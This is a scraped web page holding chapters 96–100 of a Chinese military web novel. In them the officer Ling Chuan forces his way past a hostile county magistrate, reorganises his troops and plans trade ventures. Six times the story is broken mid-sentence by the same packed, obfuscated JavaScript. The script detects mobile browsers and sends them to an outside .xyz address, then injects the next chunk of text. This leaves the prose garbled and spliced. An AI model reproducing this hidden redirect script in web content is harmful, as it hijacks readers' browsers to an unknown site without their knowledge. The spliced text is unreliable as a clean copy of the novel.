RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948011|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的百姓跟家人没什么区别,苏璃认出,其中好几位大娘都是她与凌川成亲的时候,帮自己梳妆的‘娘家人’。 “这些都是大家的一片心意,收下吧!”凌川说道。 苏璃早已是眼含热泪,点头道:“大娘,你们要保重,小璃会回来看你们的!” “丫头别哭,下次带个大胖小子回来!”那中年女子轻轻拉着苏璃的手说道。 一路上,所有百姓都在高喊凌标长,尽管他们都知道,如今凌川已经升为校尉,但他们还是习惯称其为凌标长。 他们不会忘记,就是这个少年,数次击退敌军,特别是前不久,在所有人都即将绝望的时候,他带兵赶到,将摇摇欲坠的狼烽口撑住。 随行的死字营成员也无不感到自豪,至少,并不是所有人都不记得他们在战场上浴血厮杀。 已经离开市集,可一众百姓还是跟着送行,凌川只能调转马头,大声喊道:“大家回去吧,别送了!” 可大家依然不肯离去,或许,在他们看来,以后凌川都不会回到这个艰苦而贫瘠的地方了,多送一步,多看一眼也是好的。 一直到五里之外,百姓们终于止步,凌川骑马走在最后面,他再次调转马头,看着那些送行的百姓,只见所有人脸上写满了不舍,正在朝他挥手。 霎时间,凌川只感觉鼻子一酸,双眼模糊。 最后,他看了一眼狼烽口,看看这个守护了三年的地方,看看这个数百兄弟的埋骨之地。 就在这时,凌川注意到,队伍的前方竖着一根大腿粗的木杆,他不由苦笑道:“大牛这个憨憨,把他给我叫过来!” 标长卫敛驱马前去,很快便将扛着木杆的大牛叫了过来。 “校尉大人,你叫我!”大牛来到马车旁边站定。 凌川看着他,笑问道:“你怎么行军也扛着旗杆?” “校尉大人说过,人在旗在,人不在旗也得在!”一脸憨厚的大牛朗声答道。 听到这话,凌川顿时不知道说什么了,不过,对于这个憨厚汉子,凌川还是蛮喜欢的。 凌川翻身下马,与大牛并肩而行,问道:“大牛,你知道什么是扛旗先锋吗?” 大牛摇了摇头,“不知道!” “自古将帅出征身后必竖大旗,扛旗之人无一不是军中猛将,需膂力无双、胆魄无双,你扛着的大纛就是整支军队的魂,哪怕是主将战死,只要军旗不倒,这支军团的气势就不会散,反之大纛一倒,全军溃散!” 大牛似懂非懂地说道:“校尉大人上次跟俺说过,让俺扛着战旗跟你走,你到哪儿俺就到哪儿!” 第96章 扛旗先锋! 凌川点了点头,说道:“没错!两军交战,战旗的位置便是主将的位置,大纛所指的方向,便是全军将士冲杀的方向! “你就是咱们死字营的扛旗先锋,你肩上扛着的不仅是死字旗,更是咱们所有兄弟的斗志!凌川看着他,继续说道:“也正因如此,扛旗先锋也是敌军神箭手重点关照的对象,其危险程度丝毫不亚于主将,你怕不怕? “不怕!大牛想都没想,斩钉截铁地回答道。 “好样的!凌川拍了拍他的肩膀,夸赞道。 大牛是凌川从死字营一千人之中选出来的扛旗手,当时自己只是告诉他,扛着那面白幡紧跟在自己身后,大牛重重点头答应,事实证明,他做得很好。 凌川很好奇,像大牛这般憨厚老实之人,为何会被发配到死字营? 当询问道这个问题,大牛的眼神中明显闪过一丝愤懑,说道: “俺爹娘死得早,与妹妹相依为命,一年前,俺在地里干活,回家发现妹妹衣衫不整,正欲上吊…… 大牛双眼通红,抱着旗杆的双手青筋暴露,咬牙说道: “后来,妹妹哭着告诉俺,是张员外家的小畜生玷污了她的身子,俺就去找他拼命,结果被张家家丁暴打了一顿,还报官说俺偷他们家的东西,那狗官都不查证,直接把俺关进大牢,不久之后便发配到了北疆死字营! 大牛不善言辞,但,他那死死抓住旗杆的手指已经发白,似乎要将其捏碎。 “你放心,总有一天,我会让那些畜生付出代价的! 大牛抬起满含泪水的眼眶看着凌川,然后重重点头。 当日下午,凌川与八百余死字营成员便抵达云岚县城,然而,队伍却在城门口被拦了下来。 “校尉大人,前方有人拦路,不让进城!刘晏前来禀报。 “何人?凌川第一个想到的便是刘家。 “是云岚县县令孙大人!刘晏回答道。 凌川顿时一愣,他与这孙大人素未谋面,虽然他跟自己都是七品官职,但自己作为后来者,自己理应登门拜访,不过时间紧迫,还没来得及。 “我去看看! 凌川驱马径直来到城门前。 只见一名留着山羊胡五十开外的男子,身着七品官服端坐于太师椅上,身后是几名衙役,面前摆放着一只火盆,熊熊旺盛的炭火之上还煮着茶。 不用问也知道,此人便是云岚县县令孙文泰了。 虽说凌川没有以貌取人的习惯,但看到这 孙县令的这副做派他就没什么好感大腹便便、一脸倨傲。 “凌川见过县令大人!”凌川并未下马只是抱拳行了个礼。 谁知对方却连眼皮都没抬一下自顾自端着茶盏悠闲品尝。 直到凌川快要调转马头返回的时候孙县令才缓缓开口:“凌校尉好大的架子啊在本官面前连马都不下!” 凌川闻言顿时心中冷笑看来这是想给自己一个名副其实的下马威啊。 “孙大人见谅我行军劳累今日就不下马了回头再登门赔罪!” 终于孙县令抬起倨傲目光看向凌川说道:“你可以进去但其他人不行!” “哦 孙县令指了指凌川身后队伍中的士兵以及那几十名随行女子说道: “你身后这些人要么是死字营中的奴隶要么是来历不明的流民本官身为云岚县县令得为这一县之地负责!” 话已至此凌川就算是傻子也知道对方是刻意刁难自己而来这种时候任何道理都是多余的。 而且之前谢知命便侧面提醒过他孙县令与刘家走得很近。 “孙大人这是什么意思?”凌川似笑非笑地问道。 孙文泰同样是一脸冷笑回答道:“本官已经说得很清楚了这些身份不明之人不能进城!” “那我要是硬闯呢?”凌川笑容逐渐冰冷。 孙县令也丝毫不惧只见他缓缓站起身来做出一副大义凛然的姿态径直挡在凌川面前。 “若凌校尉要硬闯那就踏着本官的尸体过去吧!” 孙县令此言一出他身后一众衙役也果断冲了上来站在他身后。 紧接着大批民众也从街道四周聚拢而来纷纷站在孙文泰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948012|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身后。 “咱们云岚县不欢迎这些奴隶和流民谁知道他们进城之后会不会偷鸡摸狗甚至是做出伤天害理的事情来?” “对他们想进城除非凌校尉将我们所有人都杀光!” “守卫云岚县誓与县令大人共进退!” 一时间百姓群情激奋而孙县令的脸上却带着冷笑。 凌川何尝不清楚这些所谓的老百姓其实都是刘家的人因为其中有几张面孔凌川前日在军营中见过。 可队伍中死字营成员却并不知道这些内情见对方一口一个奴隶所有人紧握着拳头眼神之中满是**。 他们用命换来节度府的一纸赦令本以为从此可以堂堂 正正做人,然而,在别人的眼里,他们终究还是奴隶,那个无形的‘奴’字,始终刻在脸上。 那些女子更是满脸委屈,她们本是安分守己的老百姓,却惨遭横祸,虽被凌川所救活了下来,可现在却成了别人口中的流民。 凌川也目光渐冷,沉声说道:“孙大人真是受百姓爱戴的好官啊,不过,我要告诉你们,正是你们口中的这些奴隶,在狼烽口外浴血厮杀,大破敌军,这才保住了狼烽口!要不是他们,尔等现在已经成为胡贼的刀下亡魂了!” 凌川声音铿锵有力,如刀颤剑鸣。 “呵,狼烽口远在几十里外,跟我们有啥关系?”一名男子冷笑答道。 这句话,无疑是一把尖刀,狠狠刺中一众死字营士兵的心口,他们拼了命守护的人,却对他们在战场上的厮杀嗤之以鼻,想想那些死去的兄弟,真替他们感到不值。 凌川冰冷用的目光看着他,问道:“你觉得,若是狼烽口失守,云岚县城能挡得住胡羯铁骑吗?还是说,你觉得,胡贼入关之后,会对你们以礼相待,秋毫无犯?” “我……” 一时间,那名男子哑口无言。 “凌校尉,不必在这里做口舌之争,今日只要本官在,他们就休想进城!”孙县令有义正言辞地说道。 此时,凌川内心的怒火已经无法压制,只见他大喝一声:“死字营听令!” 第97章 死字营,准备冲阵! “死字营听令! “在!洪亮的声音震得人耳膜生疼。 紧接着,一众死字营成员驱马来到凌川身后,迅速列成战阵。 “唰! 凌川猛然拔出战刀,雪亮的刀身绽放出慑人寒芒。 “准备冲阵,谁敢阻拦,杀无赦! “凌川,你敢!孙县令大声呵斥,眼底闪过一丝慌乱。 没有人回答他,只有成片的唰唰声,一柄柄战刀出鞘,一道道杀气席卷而出,让人不寒而栗。 “凌川,你敢滥杀无辜,本官必会上报节度府,治你的罪!孙文泰失声大吼道。 “本校尉奉卢帅之命,接管云岚县军务,谁敢阻拦,视为反贼论处,我数三声,若不让路休怪我手中战刀不长眼!凌川持刀立马,冷声喝道。 听到这话,那些刘家之人开始慌了,因为,他们都看出凌川并不是在做样子,他身后那些死字营成员更是目露杀机,随时准备冲阵。 “三…… 顿时,人群中出现了骚动,不少人已经下意识朝着两旁移动。 “二…… 第二声出口,终于有人顶不住压力,转身跑到一旁,有了第一个就有第二个,眨眼间,数十名‘百姓’尽数让开,只剩下孙县令以及他身后的十多名衙役。 “大人,要不,咱们也让开吧!一名衙役颤声说道。 “凌川,你这个疯子,本县一定如实上报,你等着被问罪吧!孙文泰怒不可遏,浑身颤抖。 凌川则是不屑一笑,说道:“我等着! 最终,孙县令在一众衙役的簇拥下让到一旁。 “收刀,进城! “唰唰…… 战刀纷纷归鞘,弥漫在空气中的杀意逐渐消弭。 凌川领着众人就这么大摇大摆地进城,来到军营,唐岿然、洛青云等几名标长迅速赶来。 “校尉大人,这一路还顺利吧? “还真不算顺利,去的时候遇到**,返回的时候被堵在城门外,险些进不来!凌川笑着打趣道。 “什么?谁这么大胆子?唐岿然满脸诧异地问道。 “是孙县令和刘家,想给咱们一个下马威! 唐岿然满脸怒火,说道:“只会窝里横的东西,有本事去跟胡羯人刚啊! 凌川淡淡一笑,说道:“放心,他们蹦跶不了多久了! “各标分配营帐,你带人将这些女子安置好!离开之前,凌川便吩咐唐岿然 ,多建一些营帐,除了安置这些女子之外,凌川还计划建一些作坊。 毕竟,要养活这一千多人,仅靠卖酒显然是不够的,这几日,他已经在脑海中列举了一些想法,经过这几日的反复推敲,已经趋于成熟。 凌川将任务分派了一下,便带着苏璃前往校尉府。 这里的条件比狼烽口好了很多,军营虽然也是土墙房,但却宽敞不少,而且,前任校尉章俊还专门修了一座府邸,是一座三进院子,虽谈不上气派,却装饰得相当不错。 凌川也不做作,直接住了进去,原本,府中还住着章俊的几房妻妾,在章俊被关进大牢的时候,便卷着贵重物品连夜逃走了。 唐岿然让人将校尉府里里外外打扫了一遍,原本章俊留下私人物品全部丢掉,却意外发现一处暗室中存放着几大箱银子,清点得知,竟然有一万多两。 显然,这些银子连他的妻妾都不知道,否则,她们逃走的时候,不可能一点不带。 来到新的住处,凌川便与苏璃一起收拾屋子,就在这时,谢知命闻讯而来,身后还跟着一尊女金刚,赫然是翠花。 “凌兄! “谢兄!凌川连忙迎了上去,“我给你介绍一下,这位是我娘子,苏璃! 谢知命见苏璃的容貌也不由得眼前一亮,连忙见礼,“弟妹貌似天仙,凌兄有福啊! “谢公子过誉了,奴家惭愧!苏璃也行了一礼,随后连忙斟茶。 “我本以为凌兄还要过两日才到,没想到来得这么快! 凌川回答道:“云岚县形势复杂,我哪敢久离! “对了,凌兄让我找的铁匠和木匠,我给找好了,明日就把人带过来!谢知命说道。 “有劳谢兄了!凌川抱拳致谢,又问道:“这两日,刘家可有动静? “还真有!前晚有人潜入后厨,想要在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948013|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食材里面下毒,结果被翠花发现,险些没打死!谢知命笑道。 凌川看向翠花,夸赞道:“看来,我把你留在谢公子身边是对的,以后,你就跟在夫人身边,保护夫人的安全! “好的公子!翠花用力点头,随后,立马跑到苏璃身边,“夫人,以后这些事儿安排我做就行了! 苏璃一眼便看出,翠花生性淳朴,虽然长相和身型确实会惹来异样眼光,但从凌川那里得知翠花**葬母的事迹之后,苏璃也被其孝心和悲惨遭遇所感动。 事实上,当时凌川之所以决定收留小翠,便是想让她保护苏璃的安全。 以后,苏璃接手生意上的事情越来越多,她的安全无疑凌川十分担心的事情,若是派士兵保护并不合适,而且,军中皆为男子,多少有些不方便,翠花无疑是一个不错的选择。 见两人有说有笑地开始收拾屋子,凌川也和谢知命聊了起来。 “谢兄,云岚县城可有上好的水源?” 谢知命眉头一皱,说道:“别的还好说,这云岚县城想要找好的水源,还真不是一件容易的事情!” “哦,这是为何?”凌川不解地问道。 “云岚县百姓饮用的水,乃是从祁连雪峰的支脉虎头峰流下来的,水质清澈、入口甘甜,奈何山脚下有一处矿山,这些年刘家一直在挖矿,导致水质变得浑浊而生涩,哪怕是烧开了,锅底都会留下一层锈迹,满城百姓是苦不堪言!”谢知命气愤道。 听到这里,凌川大致已经明白,定然是开采铁矿导致水源受到了污染。 “矿产不是朝廷的吗?刘家怎能私自开采?”凌川不解地问道。 谢知命点了点头,说道:“矿产确实是朝廷的,原本也是由各州县负责开采,可如今各州县早已脱离了朝廷的管控,很多地方都将类似的工程承包给了当地世家权贵或地方豪强!” “如此一来,各地方官员不仅能如数完成开采任务,自己还省去了招募人手和监工等众多事务,此外,刘家每年还会奉上一笔不菲的银子,何乐而不为呢?” “至于刘家,每年只需向朝廷交够份额,剩余的则是全都进了他们自己的小金库!” 第98章 过目不忘的天才! 紧接着谢知命压低了声音继续说道:“而且近几年前任校尉章俊一直在招兵可兵力却始终在七八百人!” 听闻此言凌川眉峰一挑敏锐察觉到了异常问道:“之前云岚县可曾出兵参战?” 谢知命摇了摇头“从来没有!” “这就怪了!”直觉告诉凌川这其中有问题而且跟刘家采矿脱不了干系要不然谢知命不会在这个时候提及一个毫不相干的话题。 “来人!”凌川对着门外喊了一声。 很快苍蝇出现在门口“校尉大人有何吩咐?” “把云岚县所有士兵的兵册给我送过来!”凌川交代道。 “是!”苍蝇转身离去这段时间他一直跟随着凌川左右充当这亲兵的角色。 谢知命见状知道凌川已经明白了自己的意思便转移话题问道:“凌兄找水源做什么?” “酿制狼血酒需要上好的水否则酒质不够清澈口感也会大打折扣!”凌川解释道。 随后凌川又询问了一些云岚县的势力情况对云岚县有了一个大致了解。 很快苍蝇便将几本厚厚的兵册送了过来。 谢知命见状主动起身告辞:“凌兄我略备薄酒为你接风就先行告辞了!” 凌川起身回道:“刚到云岚县诸多事务需要处理改日我必登门拜访!” 谢知命也没强求笑道:“也行反正凌兄以后都在云岚县来日方长!” 送走了谢知命凌川便开始查看士兵兵册。 苏璃走上前来问道:“相公这是在查什么?” “这是之前的兵册前任校尉年年招兵可兵力却始终在七八百而且云岚县兵从没有过出征边关的记录我怀疑这其中有猫腻!” 苏璃走上前来说道:“相公可否给我看看!” “这有何不可?”凌川直接将兵册递给苏璃。 苏璃接过兵册像是随手翻阅一般凌川甚至都没看几行她便已经翻篇。 不过片刻苏璃便将整本兵册翻完开始翻起第二本。 “相公我刚刚看了一遍 “四百多人战死?”凌川一脸吃惊他虽然刚才也看到了一些战死标注但没想到竟然这么多。 苏璃点了点头说道:“四百三十一人!” 见苏璃报出如此精准的数字凌川再次露出惊 讶之色:“你怎么知道的?” “我一个个数的啊!”苏璃一脸理所当然的表情。 “就刚才,你就数完了?”凌川指着兵册,满脸的不可思议。 “对呀!我还把他们的名字和户籍都记下了!” 凌川闻言,更是觉得不可思议,虽说他也听闻过世上有过目不忘的神人,却没想到苏璃具备这样的能力。 “相公若是不信,我背着写给你!”很明显,苏璃是想以此来证明自己。 凌川笑道:“好,我给娘子研墨!” 凌川此举也是想要检验一下苏璃的记忆力到底有多恐怖,毕竟,速记往往只能在短时间内记住,时间越久就会越模糊。 苏璃二话不说,拿起笔便开始写,她的字十分漂亮,娟秀中透着几分柔情,果真是字如其人。 苏璃不慌不忙,将每一个人的名字、年龄、户籍地等信息一一罗列出来。 她一边写,凌川一边翻开兵册对照,结果一连几十个名字下来,竟然丝毫不差。 将近一个时辰,苏璃总算将名单写完,四百三十一人,一个不差。 “娘子,想不到你竟有如此能力,真是让我大开眼界啊!”凌川无比激动。 “这都不过是雕虫小技,上不得台面!”被凌川这么大夸特夸,苏璃反倒是有些不好意思了。 “谁说的,这可是举世罕见的天才,是说书先生口中的神通之术!”凌川这话可是一点不夸张,苏璃这过目不忘的本事,要是运用得当,价值无法估量。 当晚,凌川将重要人员召集到校尉府议事,除了死字营的十名标长之外,原云岚军中仅剩的两名标长也都到场,另外,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948014|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛、苍蝇以及聂星寒等人也都被叫来。 凌川开门见山,直奔主题:“今日召集大家,主要有几件事情,我长话短说!” 众人皆是一脸严肃,毕竟,熟悉凌川的人都知道,他从不是一个啰嗦的人,只要是议事,必然是重要事情。 “第一,将六百云岚县兵打散并入各标,同时,要叮嘱手下人不得排外,操练之时要多指点!” 一众标长立马就明白了凌川话中的意思,一来是不清楚这些云岚县兵的底细,为了以防万一,将其化整为零分散到各标无疑是最稳妥的。 再则,这些云岚县兵基本上都是没上过战场的新兵,就算与死字营中那些之前没有从军的士兵,也有不小差距,想要形成战斗力,得加紧训练,老兵带新兵无疑是最有效的办法,事实上,大周军中也一直都有老带新的传统。 此外,凌川刻意强调不能排外,以免这些云岚县兵觉得,自己始终是外人得不到认可,长期下去注定会与队伍离心离德。 那两名原云岚军中的标长,在听到这个消息,也都彼此对视了一眼。 将六百云岚军打散并入各标,他们之前已经想到,不过他们没想到凌川竟然当着他们的面大大方方说出来,此举反而让他们觉得,凌川是一个坦荡之人。 事实上,他们已经做好了‘寄人篱下’的心理准备,可现在看来,并没有想象中那么糟糕。 “第三,组建百人斥候队,由纪天禄任队长,人员由你自己挑选,各标无条件放人!” “遵命!”纪天禄起身抱拳回答道。 纪天禄曾经本就是一名边军的斥候校尉,所以,由他来担任斥候小队队长,无疑是最合适的。 可其他人听到这道命令,脸色皆是微微一变,通常来说,只有万人之军才会成立斥候营,可凌川现在便成立斥候队,可见他的眼光之长远。 “第三,挑选三百名体魄出众的悍勇士卒组建重甲队,由唐岿然担任队长!” “属下领命!”朗声回答。 第99章 重组编制! 纵观当世沙场最为强悍的当属骑兵面对奔袭凿阵的骑兵步兵阵营跟纸糊的没什么区别。 而骑兵又分多种以轻骑和重骑最为常见。 轻骑突袭、重骑凿阵两者虽都为骑兵却属于截然不同的两个领域。 特别是重骑一旦出现在战场上那无异于一架钢铁战车所向披靡、势不可挡。 当然重骑有一个致命缺点那就是人马俱甲过于沉重以至于无论是对兵卒还是对战马的要求都极高这也是为何凌川要从各标之中挑选一批体魄出众的士兵出来组建重甲小队的原因。 “第三命许大牛为扛旗先锋史尚飞为亲兵队长自行挑选五十人成立亲兵队!” “史尚飞领命!” “许大牛领命!” 凌川顿了顿继续说道:“将原本的十标缩减为四标每标三百人!” 此言一出现场十多人神情皆是一震十标缩减为四标那岂不是意味着六人将失去标长之位? 不过想想也释然了当时凌川提点死字营一千军奴需立马驰援狼烽口便临时划分为十标他们虽为标长同样也是临时的现在被免去职位也并非不能接受。 就在众人浮想联翩之时凌川的声音再度响起:“洛青云任甲标标长晁远山任副标!” 二人同时起身抱拳道:“属下遵命!” 众人一愣没想到凌川竟然设立了副标长不过想到如今每标三百人 事实上凌川并非是心血来潮胡乱改编制而是有着自己的打算五人一伍、十人一什、百人一标是大周军制的传统但凌川却发现这其中有不少弊端。 最常见的便是如果正面交锋一标百人很难形成战力如果三标齐上又很难做到统一指挥。 “薛焕之任乙标标长陈庸任副标!” “是!” “卫敛任丙标标长秦放任副标!” “属下领命!” “轩辕孤鸿任丁标标长段锋任副标!” 此言一出现场众人神色再次一变毕竟轩辕孤鸿与段锋皆是原云岚军标长凌川没有安排死字营的刘晏跟周淮这两位标长反而是用了这两个‘外人’实在是出人意料。 不少人纷纷将目光看向刘晏与周淮这两位年长的标长二人的脸上也多少有些尴尬。 就在这时轩辕孤鸿与段锋二人起身来到场中抱拳道:“大人这不妥!” 凌川 看着二人,问道:“有何不妥?” 轩辕孤鸿看了刘晏与周淮二人说道:“两位老标长毕竟是跟大人从狼烽口外杀过来的,他们二人比我们更合适!” 凌川自然清楚他二人心中所想,他们担心的是自己抢了刘晏跟周淮的标长之位,会遭来二人乃至其他死字营成员的排挤和记恨。 “轩辕孤鸿,十六岁从军,靠着军功一步步爬上校尉之位,三年前得罪某位世家公子,因此丢了校尉之位,更是被调离边关,发放到云岚县!”凌川看着他,淡淡说道。 轩辕孤鸿神色一惊,他没想到凌川竟然对他的过往一清二楚,要知道,这些辛秘除了段锋之外,就连云岚军中与自己交好的兵卒都不知道。 “大人,你怎么知道?”轩辕孤鸿满脸震惊,问道。 凌川指了指他身边的段锋,说道:“我还知道,那位世家子抢夺了段锋的军功,你是替他出头才被牵连的!” 听闻此言,二人更为惊讶,段锋问道:“大人是如何得知?” 凌川淡然一笑,说道:“想必你们也知道,咱们死字营成员的来历,其中就有人是你们昔日的同袍,也是他为我举荐了你二人!” “是谁?”轩辕孤鸿连忙问道。 “他叫张尧!” 听到张尧这个名字,二人神色再次一变,很快便从记忆中想起了此人,那是曾经过命的兄弟,可自从二人被调到云岚县之后,曾经那些生死兄弟便彻底失去了联系。 不曾想,张尧竟然被发配到了死字营。 “我知道你二人心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948015|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的顾虑,我凌川用人只看两点,一是忠心,二是能力!显然,你们二人比刘晏和周淮二位老哥更合适!” 紧接着,凌川看向刘晏与周淮,说道:“两位老哥年纪大了,上阵杀敌的事情,就交给年轻人吧!” 二人面带笑意,点了点头:“大人不用顾虑,我二人全都听从你的安排!” 凌川笑道:“虽然两位老哥已不再当打之年,但也还不是养老的时候,我还有更重要的事情交给你们去做!” 二人闻言也收起脸上的笑容,起身抱拳:“任凭大人差遣!” “即日起,刘晏负责所有军中内务,周淮负责兵甲锻造。”凌川再次下令。 “遵命!” 两人也没想到,凌川竟然将如此重要的事情交给他们二人。 相比起当标长,这两个职位更为重要,一个负责的是整支军队的吃喝拉撒,而另一个负责的是兵器铠甲,这两项皆是重中之重,容不得半点马虎。 凌川目光扫视全场,从这十多人身上一一扫过,除了刘晏跟周淮,之外,其他人皆是当打之年。 “我知道,你们很多人曾经都身居高位,现在当一个标长或副标确实有些屈才,但我向你们保证,总有一天,你们每一个人都会披上将军甲!” 凌川的声音铿锵有力,掷地有声,众人只感觉心潮澎湃。 要是其他人说这样的话,他们只当是在画饼,但,这句话从凌川口中说出来,他们丝毫不怀疑。 紧接着,凌川再度说道:“不仅是你们,还有下面的所有兄弟,我不仅要让他们吃饱穿暖,更要让他们按时领到饷银!” 听到饷银二字,现场所有人目光不由得黯淡了下去,因为,很多人当兵几年了,都没见过饷银是什么样子,就连立下战功的赏银,也会大打折扣,甚至很多时候直接被上级克扣私吞,根本到不了他们手里。 “我知道,如今这朝廷是指望不上了,既然如此,那我们就自己挣钱来发给兄弟们!” 第100章 大兴土木,扩建军营! 紧接着,凌川将自己经商的计划说了出来,卖酒只是投石问路,他脑海中还有一个庞大的构想,若能一一实现,定能打造一个商业帝国。 当然,凌川也只是给大家列举了少部分,毕竟,场中皆是沙场汉子,对于经商做买卖,皆是一窍不通。 “接下来,各标抓紧操练,随时做好投身战场的准备!凌川起身对众人说道。 听闻此言,众人顿时神经一紧,洛青云问道:“大人,又要开战了吗? “胡羯人虽然折戟狼烽口,但老龙口与朝天垭这两处兵力不减反增,其他地方也在紧锣密鼓调兵,如无意外,距离北疆全线开战的时间,不远了! 众人闻言皆感受到了一股紧张的气息,可紧接着,这一丝紧张便被体内的热血所淹没。 随后,凌川又让卫敛的丙标与轩辕孤鸿的丁标负责对校场进行扩建,因为,现在不仅兵力是原本云岚县的两倍,而且战马充足基本都是骑兵,如果校场太小,操练的时候根本施展不开。 好在云岚县营地所在这片区域足够平坦,扩建也并不麻烦。 同时,让洛青云负责增设训练器械,除了常见的靶场、石锁等之外,凌川还将前世军营中的四百米障碍画了出来,让洛青云进行修建。 别看这个小小的四百米障碍,它可是自己前世军事领域中最核心的训练项目,几乎是将体能、意志、团队协作、个人战力、作战技巧乃至心理素质等训练项目尽数都囊括其中。 至于薛焕之,则是配合唐岿然建造军营,虽说之前便让唐岿然着手建造,但,显然没有这么快。 众人离去之后,凌川又让苍蝇将范颉、吕鸿以及钱丰等人叫来。 “钱丰,你伤势如何了?凌川问道。 “大人那金创药简直神了,这才三四天伤口便开始结痂了!钱丰激动地说道。 凌川笑着与几人寒暄了几句,说道:“叫你们来,是有件事情跟你们商量! 几人闻言,顿时站起身来,一脸严肃地等着凌川开口。 凌川示意他们坐下,说道:“咱们马上就要大量酿制狼血酒,但,想要养活一千多人,仅靠卖酒是远远不够的,咱们得把路子打开一些,不仅要把买卖做大,更要在各个领域全面开花! “但,随着买卖越做越大,需要的人手也会越来越多,你们几个曾经都做过买卖,我想问你们,是继续留在军中建功立业,还是脱离军籍经商做买卖? 听到这话,几人顿时沉默了,纷纷看向彼此。 凌川笑道:“你们不用急着回答我,三天之后给我答案,无论你们怎么选择,我都尊重你们!” 然而,就在此时,范颉第一个站起身来,说道:“校尉大人,不用等三日,我现在就可以给答复!” “上阵杀敌,我自认不如大部分兄弟,而且,上了战场,还有可能成为别人的拖累,与其如此,还不如做我自己擅长的事情,把买卖做大,帮兄弟们解决后顾之忧!” “校尉大人,我也觉得,我去做买卖比在军中能出更多的力!”钱丰也起身说道。 最终,五人都选择脱离军籍,帮凌川打理生意。 事实上,他们做出这样的选择并不奇怪,毕竟,他们本就是生意人,因为犯了事才被打入死字营,上次上阵杀敌是迫不得已,如果真有选择,做买卖显然更适合他们。 当然,仅靠他们五人是不够的,凌川决定放权给他们,让他们招募人手。 不过,还是那两点要求,一是忠诚度,二是能力。 次日,凌川再次将所有士兵**到校场,这一次,他没有训话,而是直接发银子。 此前,章俊私藏那一万多两银子,凌川决定拿出五千两分发给大家,无论是之前的死字营成员还是刚收编的云岚兵都人人有份,普通士卒三两银子,伍长五两,什长十两,标长二十两。 上次狼烽口一战的军功用来解除了奴籍,而这笔银子,则是凌川私下发给他们的。 拿到银子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948016|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,士兵们一个个脸上堆满了笑容,也都将这份恩情牢记在心底。 对于普通士卒而言,接触到凌川的机会并不多,战场上奋勇杀敌,是他们报恩的唯一途径。 除了分给手下士兵,剩余的一万两银子,凌川也有大用,如购买粮草、工匠的工钱这些都是不小的开支。 接下来的十来天,云岚县大营大兴土木,数十栋军营拔地而起、整齐排列,按照凌川的要求,将原本的大通铺营房改造成了独立房间,一伍士兵住一间。 校场在原有基础上扩充了足足五倍,就算是骑兵方阵也能进行全速奔袭训练。 营房的另一边也修建了两排房屋,现在除了酿酒坊之外,其他都还处于闲置状态,但相信用不了多久,都会忙碌起来。 不得不说,人多力量就大,如此庞大的工程,一千多人硬是只用了十来天便完成了。 而这段时间,凌川很少现身,基本上都在校尉府。 前面三天,凌川设计了三套铠甲,分别是步甲、轻甲和重甲。 